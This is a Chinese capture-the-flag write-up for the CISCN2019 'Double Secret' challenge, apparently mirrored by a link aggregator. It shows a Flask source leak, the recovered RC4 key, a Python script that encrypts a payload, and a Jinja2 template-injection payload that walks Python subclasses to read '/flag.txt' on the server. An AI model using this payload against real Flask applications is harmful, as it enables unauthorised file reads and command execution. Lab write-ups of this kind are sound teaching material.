13

[CISCN2019 华东南赛区]Double Secret

 3 years ago
source link: http://www.cnblogs.com/Jleixin/p/13335790.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x01

进入页面如下

IZNZvqF.png!web

提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下

ANVnmaa.png!web

根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下

fIzInqZ.png!web

发现输入的1变成了d,我们尝试增加输入参数的长度,然后就出现了下图的结果

N3uimqf.png!web

报错了,直接源码泄露,然后我们看一下标记处

0x02

代码如下:

File "/app/app.py", line 35, in secret

    if(secret==None):

        return 'Tell me your secret.I will encrypt it so others can\'t see'

    rc=rc4_Modified.RC4("HereIsTreasure")   #解密

    deS=rc.do_crypt(secret)

 

    a=render_template_string(safe(deS))

 

    if 'ciscn' in a.lower():

        return 'flag detected!'

      return a

V7bQF3i.png!web

这里其实就是对我们输入参数的一个判断,首先判断你是不是为空,如果是空的参数,则返回一段话,就是我们刚进页面看到的内容,如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。

RC4加密脚本:

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

加密后的字符串为

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

然后我们传入,得到如下结果

R3aQNna.png!web

拿到flag

总结

主要就是用到了flask模板命令执行,配合了RC4的加密


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK